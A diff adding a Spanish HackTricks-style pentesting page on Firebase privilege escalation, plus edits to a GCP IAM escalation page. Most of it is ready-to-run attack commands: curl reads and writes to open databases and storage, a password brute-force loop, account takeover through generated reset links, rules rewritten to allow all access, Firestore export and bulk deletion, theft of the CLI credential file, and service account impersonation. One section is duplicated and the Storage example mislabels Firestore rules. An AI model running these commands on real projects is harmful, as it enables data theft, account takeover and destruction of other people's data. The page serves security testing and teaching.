@@ -0,0 +1,444 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Acceso no autenticado a Firebase Realtime Database
|
||||
Un atacante no necesita permisos específicos de Firebase para llevar a cabo este ataque. Solo requiere que exista una configuración vulnerable en las reglas de seguridad de Firebase Realtime Database, donde las reglas estén establecidas con `.read: true` o `.write: true`, permitiendo acceso público de lectura o escritura.
|
||||
|
||||
El atacante debe identificar la URL de la base de datos, que típicamente sigue el formato: `https://<project-id>.firebaseio.com/`.
|
||||
|
||||
Esta URL puede encontrarse mediante ingeniería inversa de aplicaciones móviles (decompilar APKs de Android o analizar apps iOS), analizando archivos de configuración como google-services.json (Android) o GoogleService-Info.plist (iOS), inspeccionando el código fuente de aplicaciones web, o examinando el tráfico de red para identificar peticiones a dominios `*.firebaseio.com`.
|
||||
|
||||
El atacante identifica la URL de la base de datos y comprueba si está expuesta públicamente, luego accede a los datos y, potencialmente, escribe información maliciosa.
|
||||
|
||||
Primero, comprueban si la base de datos permite acceso de lectura añadiendo .json a la URL.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Si la respuesta contiene datos JSON o null (en lugar de "Permission Denied"), la base de datos permite acceso de lectura. Para comprobar el acceso de escritura, el attacker puede intentar enviar una solicitud de escritura de prueba usando la Firebase REST API.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
Si la operación tiene éxito, la base de datos también permite acceso de escritura.
|
||||
|
||||
### Exposición de datos en Cloud Firestore
|
||||
Un atacante no necesita permisos específicos de Firebase para llevar a cabo este ataque. Solo requiere que exista una configuración vulnerable en las reglas de seguridad de Cloud Firestore en la que las reglas permitan acceso de lectura o escritura sin autenticación o con validación insuficiente. Un ejemplo de una regla mal configurada que otorga acceso completo es:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Esta regla permite a cualquiera leer y escribir todos los documentos sin ninguna restricción. Las reglas de Firestore son granulares y se aplican por colección y documento, por lo que un error en una regla específica puede exponer solo ciertas colecciones.
|
||||
|
||||
El atacante debe identificar el Firebase Project ID, que puede encontrarse mediante ingeniería inversa de la aplicación móvil, análisis de archivos de configuración como google-services.json o GoogleService-Info.plist, inspección del código fuente de aplicaciones web o análisis del tráfico de red para identificar solicitudes a firestore.googleapis.com.
|
||||
La Firestore REST API utiliza el formato:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Si las reglas permiten acceso de lectura no autenticado, el atacante puede leer colecciones y documentos. Primero, intentan acceder a una colección específica:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Si la respuesta contiene documentos JSON en lugar de un error de permisos, la colección está expuesta. El atacante puede enumerar todas las colecciones accesibles probando nombres comunes o analizando la estructura de la aplicación. Para acceder a un documento específico:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Si las reglas permiten acceso de escritura no autenticado o tienen validación insuficiente, el atacante puede crear nuevos documentos:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para modificar un documento existente se debe utilizar PATCH:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para eliminar un documento y causar denegación de servicio:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Exposición de archivos en Firebase Storage
|
||||
Un atacante no necesita permisos específicos de Firebase para llevar a cabo este ataque. Solo requiere que exista una configuración vulnerable en las reglas de seguridad de Firebase Storage en la que las reglas permitan el acceso de lectura o escritura sin autenticación o con validación insuficiente. Las reglas de Storage controlan los permisos de lectura y escritura de forma independiente, por lo que un error en una regla puede exponer solo el acceso de lectura, solo el de escritura, o ambos. Un ejemplo de una regla mal configurada que concede acceso total es:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Esta regla permite acceso de lectura y escritura a todos los documentos sin ninguna restricción. Las reglas de Firestore son granulares y se aplican por colección y por documento, por lo que un error en una regla específica puede exponer solo ciertas colecciones. El atacante debe identificar el Firebase Project ID, que puede encontrarse mediante ingeniería inversa de la aplicación móvil, análisis de archivos de configuración como google-services.json o GoogleService-Info.plist, inspección del código fuente de la aplicación web, o análisis del tráfico de red para identificar solicitudes a firestore.googleapis.com.
|
||||
La Firestore REST API usa el formato:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Si las reglas permiten acceso de lectura sin autenticar, el atacante puede leer colecciones y documentos. Primero, intentan acceder a una colección específica.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Si la respuesta contiene la lista de archivos en lugar de un error de permisos, el archivo está expuesto. El atacante puede ver el contenido de los archivos especificando su ruta:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Si las reglas permiten acceso de escritura no autenticado o tienen validación insuficiente, el atacante puede subir archivos maliciosos. Para subir un archivo a través de la REST API:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
El atacante puede subir code shells, malware payloads, o archivos grandes para causar un denial of service. Si la aplicación procesa o ejecuta archivos subidos, el atacante puede lograr remote code execution. Para eliminar archivos y causar un denial of service:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Invocación de Firebase Cloud Functions públicas
|
||||
Un atacante no necesita permisos específicos de Firebase para explotar este problema; solo requiere que una Cloud Function sea accesible públicamente por HTTP sin autenticación.
|
||||
|
||||
Una función es vulnerable cuando está configurada de forma insegura:
|
||||
|
||||
- Usa functions.https.onRequest, que no aplica autenticación (a diferencia de las onCall functions).
|
||||
- El código de la función no valida la autenticación del usuario (p. ej., no hay comprobaciones de request.auth o context.auth).
|
||||
- La función es accesible públicamente en IAM, lo que significa que allUsers tiene el rol roles/cloudfunctions.invoker. Este es el comportamiento por defecto para HTTP functions a menos que el desarrollador restrinja el acceso.
|
||||
|
||||
Las Firebase HTTP Cloud Functions se exponen mediante URLs como:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
|
||||
|
||||
Un atacante puede descubrir estas URLs mediante análisis de código fuente, inspección de tráfico de red, herramientas de enumeración o ingeniería inversa de apps móviles.
|
||||
Si la función está expuesta públicamente y sin autenticación, el atacante puede invocarla directamente sin credenciales.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
Si la función no valida correctamente las entradas, el atacante puede intentar otros ataques como code injection o command injection.
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Un atacante no necesita permisos específicos de Firebase para llevar a cabo este ataque. Solo requiere que la API Key de Firebase esté expuesta en aplicaciones móviles o web, y que la política de contraseñas no haya sido configurada con requisitos más estrictos que los predeterminados.
|
||||
|
||||
El atacante debe identificar la API Key de Firebase, que puede encontrarse mediante mobile app reverse engineering, análisis de archivos de configuración como google-services.json o GoogleService-Info.plist, inspección del código fuente de aplicaciones web (por ejemplo, en bootstrap.js), o analizando el tráfico de red.
|
||||
|
||||
Firebase Authentication’s REST API uses the endpoint:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
to authenticate with email and password.
|
||||
|
||||
Si Email Enumeration Protection está deshabilitado, las respuestas de error de la API pueden revelar si un email existe en el sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), lo que permite a los atacantes enumerar usuarios antes de intentar adivinar contraseñas. Cuando esta protección está habilitada, la API devuelve el mismo mensaje de error tanto para emails inexistentes como para contraseñas incorrectas, lo que evita la enumeración de usuarios.
|
||||
|
||||
Es importante notar que Firebase Authentication aplica rate limiting, lo que puede bloquear las solicitudes si se realizan demasiados intentos de autenticación en poco tiempo. Por ello, un atacante tendría que introducir retrasos entre intentos para evitar ser bloqueado por rate limiting.
|
||||
|
||||
El atacante identifica la API Key y realiza intentos de autenticación con múltiples contraseñas contra cuentas conocidas. Si Email Enumeration Protection está deshabilitado, el atacante puede enumerar usuarios existentes analizando las respuestas de error:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Si la respuesta contiene EMAIL_NOT_FOUND, el correo electrónico no existe en el sistema. Si contiene INVALID_PASSWORD, el correo electrónico existe pero la contraseña es incorrecta, confirmando que el usuario está registrado. Una vez identificado un usuario válido, el atacante puede realizar intentos de brute-force. Es importante incluir pausas entre intentos para evitar los mecanismos de rate-limiting de Firebase Authentication:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
Con la política de contraseñas por defecto (mínimo 6 caracteres, sin requisitos de complejidad), el atacante puede probar todas las combinaciones posibles de contraseñas de 6 caracteres, lo que representa un espacio de búsqueda relativamente pequeño comparado con políticas de contraseñas más estrictas.
|
||||
|
||||
### Gestión de usuarios en Firebase Authentication
|
||||
|
||||
El atacante necesita permisos específicos de Firebase Authentication para llevar a cabo este ataque. Los permisos requeridos son:
|
||||
|
||||
- `firebaseauth.users.create` para crear usuarios
|
||||
- `firebaseauth.users.update` para modificar usuarios existentes
|
||||
- `firebaseauth.users.delete` para eliminar usuarios
|
||||
- `firebaseauth.users.get` para obtener información de usuarios
|
||||
- `firebaseauth.users.sendEmail` para enviar correos electrónicos a usuarios
|
||||
- `firebaseauth.users.createSession` para crear sesiones de usuario
|
||||
|
||||
Estos permisos están incluidos en el rol `roles/firebaseauth.admin`, que otorga acceso completo de lectura/escritura a los recursos de Firebase Authentication. También están incluidos en roles de mayor nivel como roles/firebase.developAdmin (que incluye todos los permisos firebaseauth.*) y roles/firebase.admin (acceso completo a todos los servicios de Firebase).
|
||||
|
||||
Para usar el Firebase Admin SDK, el atacante necesitaría acceso a las credenciales de cuenta de servicio (archivo JSON), que podrían encontrarse en sistemas comprometidos, repositorios de código expuestos públicamente, sistemas CI/CD comprometidos o mediante la compromisión de cuentas de desarrollador que tengan acceso a estas credenciales.
|
||||
|
||||
El primer paso es configurar el Firebase Admin SDK usando las credenciales de cuenta de servicio.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Para crear un usuario malicioso utilizando el correo electrónico de la víctima, el atacante intentaría usar el Firebase Admin SDK para generar una nueva cuenta vinculada a ese correo.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Para modificar un usuario existente, el atacante actualizaría campos como la dirección de correo electrónico, el estado de verificación o si la cuenta está deshabilitada.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Para eliminar una cuenta de usuario y causar una denegación de servicio, el atacante emitiría una solicitud para eliminar al usuario por completo.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
El atacante también puede recuperar información sobre usuarios existentes solicitando su UID o su dirección de correo electrónico.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Además, el atacante podría generar enlaces de verificación o enlaces de restablecimiento de contraseña para cambiar la contraseña de un usuario y acceder a su cuenta.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Gestión de usuarios en Firebase Authentication
|
||||
Un atacante necesita permisos específicos de Firebase Authentication para llevar a cabo este ataque. Los permisos requeridos son:
|
||||
|
||||
- `firebaseauth.users.create` para crear usuarios
|
||||
- `firebaseauth.users.update` para modificar usuarios existentes
|
||||
- `firebaseauth.users.delete` para eliminar usuarios
|
||||
- `firebaseauth.users.get` para obtener información de usuarios
|
||||
- `firebaseauth.users.sendEmail` para enviar correos a usuarios
|
||||
- `firebaseauth.users.createSession` para crear sesiones de usuario
|
||||
|
||||
Estos permisos están incluidos en el rol `roles/firebaseauth.admin`, que otorga acceso completo de lectura/escritura a los recursos de Firebase Authentication. También forman parte de roles de mayor nivel como `roles/firebase.developAdmin` (que incluye todos los permisos firebaseauth.*) y `roles/firebase.admin` (acceso completo a todos los servicios de Firebase).
|
||||
|
||||
Para usar el Firebase Admin SDK, el atacante necesitaría acceso a credenciales de cuenta de servicio (un archivo JSON), que podrían obtenerse de sistemas comprometidos, repositorios de código expuestos públicamente, entornos CI/CD comprometidos o mediante el compromiso de cuentas de desarrollador que tengan acceso a estas credenciales.
|
||||
|
||||
El primer paso es configurar el Firebase Admin SDK utilizando credenciales de cuenta de servicio.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Para crear un usuario malicioso usando el correo electrónico de la víctima, el atacante intentaría crear una nueva cuenta de usuario con ese correo, asignando su propia contraseña e información de perfil.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Para modificar un usuario existente, el atacante cambiaría campos como la dirección de correo electrónico, el estado de verificación o si la cuenta está deshabilitada.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Para eliminar una cuenta de usuario —efectivamente provocando una denegación de servicio— el atacante emitiría una solicitud para eliminar permanentemente a ese usuario.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
El atacante también podría recuperar información sobre usuarios existentes, como su UID o email, solicitando los detalles del usuario ya sea por UID o por dirección de email.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Además, el atacante podría generar enlaces de verificación o enlaces para restablecer la contraseña, lo que le permitiría cambiar la contraseña de un usuario y tomar el control de la cuenta.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Modificación de reglas de seguridad en los servicios de Firebase
|
||||
El atacante necesita permisos específicos para modificar las reglas de seguridad según el servicio. Para Cloud Firestore y Firebase Cloud Storage, los permisos requeridos son `firebaserules.rulesets.create` para crear rulesets y `firebaserules.releases.create` para desplegar releases. Estos permisos están incluidos en el rol `roles/firebaserules.admin` o en roles de nivel superior como `roles/firebase.developAdmin` y `roles/firebase.admin`. Para Firebase Realtime Database, el permiso requerido es `firebasedatabase.instances.update`.
|
||||
|
||||
El atacante debe usar la Firebase REST API para modificar las reglas de seguridad.
|
||||
Primero, el atacante necesitaría obtener un token de acceso utilizando credenciales de cuenta de servicio.
|
||||
Para obtener el token:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Para modificar las reglas de Firebase Realtime Database:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para modificar las reglas de Cloud Firestore, el atacante debe crear un ruleset y luego desplegarlo:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
El comando anterior devuelve un nombre de ruleset en el formato projects/<project-id>/rulesets/<ruleset-id>. Para desplegar la nueva versión, se debe actualizar el release mediante una petición PATCH:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para modificar las reglas de Firebase Cloud Storage:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
El comando anterior devuelve un nombre de ruleset en el formato projects/<project-id>/rulesets/<ruleset-id>. Para desplegar la nueva versión, la release debe actualizarse usando una petición PATCH:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Data exfiltration y manipulación en Cloud Firestore
|
||||
Cloud Firestore usa la misma infraestructura y el mismo sistema de permisos que Cloud Datastore, por lo que los permisos de Datastore IAM se aplican directamente a Firestore. Para manipular políticas TTL, se requiere el permiso `datastore.indexes.update`. Para exportar datos, se requiere el permiso `datastore.databases.export`. Para importar datos, se requiere el permiso datastore.databases.import. Para realizar eliminación masiva de datos, se requiere el permiso `datastore.databases.bulkDelete`.
|
||||
|
||||
Para operaciones de backup y restore, se necesitan permisos específicos:
|
||||
|
||||
- `datastore.backups.get` and `datastore.backups.list` to list and retrieve details of available backups
|
||||
- `datastore.backups.delete` to delete backups
|
||||
- `datastore.backups.restoreDatabase` to restore a database from a backup
|
||||
- `datastore.backupSchedules.create` and `datastore.backupSchedules.delete` to manage backup schedules
|
||||
|
||||
Cuando se crea una política TTL, se selecciona una propiedad designada para identificar las entidades elegibles para eliminación. Esta propiedad TTL debe ser del tipo Date and time. El atacante puede elegir una propiedad que ya exista o designar una propiedad que planee añadir más tarde. Si el valor del campo es una fecha en el pasado, el documento pasa a ser elegible para eliminación inmediata. El atacante puede usar el gcloud CLI para manipular las políticas TTL.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
Para exportar datos y exfiltrate, el atacante podría usar el gcloud CLI.
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Para importar datos maliciosos:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Para eliminar masivamente datos y provocar un denial of service, el atacante podría usar la gcloud Firestore bulk-delete tool para eliminar colecciones completas.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Para operaciones de copia de seguridad y restauración, el atacante podría crear copias de seguridad programadas para capturar el estado actual de la base de datos, listar copias existentes, restaurar desde una copia para sobrescribir cambios recientes, eliminar copias para causar pérdida permanente de datos y eliminar copias programadas.
|
||||
Para crear una programación diaria de copias de seguridad que genere inmediatamente una copia:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Para restaurar desde una copia de seguridad específica, el atacante podría crear una nueva base de datos usando los datos contenidos en esa copia de seguridad. La operación de restauración escribe los datos de la copia de seguridad en una nueva base de datos, lo que significa que no se puede usar un DATABASE_ID existente.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Para eliminar una copia de seguridad y provocar pérdida de datos permanente:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Robo y uso indebido de las credenciales de Firebase CLI
|
||||
Un atacante no necesita permisos específicos de Firebase para llevar a cabo este ataque, pero sí necesita acceso al sistema local del desarrollador o al archivo de credenciales de Firebase CLI. Estas credenciales se almacenan en un archivo JSON ubicado en:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
Este archivo contiene tokens de autenticación, incluidos refresh_token y access_token, que permiten al atacante autenticarse como el usuario que ejecutó originalmente firebase login.
|
||||
|
||||
El atacante obtiene acceso al archivo de credenciales de Firebase CLI. A continuación puede copiar todo el archivo a su propio sistema, y la Firebase CLI usará automáticamente las credenciales desde su ubicación por defecto. Tras hacerlo, el atacante podrá ver todos los proyectos de Firebase accesibles para ese usuario.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Más información sobre IAM en:
|
||||
Encuentra más información sobre IAM en:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,52 +12,51 @@ Más información sobre IAM en:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Un atacante con los permisos mencionados podrá actualizar un rol asignado a ti y concederte permisos adicionales sobre otros recursos como:
|
||||
|
||||
<details><summary>Actualizar rol de IAM para añadir permisos</summary>
|
||||
Un atacante con los permisos mencionados podrá actualizar un rol asignado a ti y otorgarte permisos adicionales en otros recursos como:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
Puedes encontrar un script para automatizar la **creación, exploit y limpieza de un entorno vuln** y un python script para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Puedes encontrar un script para automatizar la **creation, exploit and cleaning of a vuln environment here** y un python script para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
El permiso iam.roles.create permite la creación de roles personalizados en un proyecto/organización. En manos de un atacante, esto es peligroso porque le permite definir nuevos conjuntos de permisos que luego pueden asignarse a entidades (por ejemplo, usando el permiso iam.serviceAccounts.setIamPolicy) con el objetivo de escalar privilegios.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Un atacante con los permisos mencionados podrá **request an access token that belongs to a Service Account**, por lo que es posible solicitar un access token de un Service Account con más privilegios que el nuestro.
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
Un atacante con los permisos mencionados podrá **solicitar un access token que pertenezca a una Service Account**, por lo que es posible solicitar un access token de una Service Account con más privilegios que la nuestra.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Puedes encontrar un script para automatizar el [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) y un script python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para más información consulta la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Un atacante con los permisos mencionados podrá **crear una clave gestionada por el usuario para una Service Account**, lo que nos permitirá acceder a GCP como esa Service Account.
|
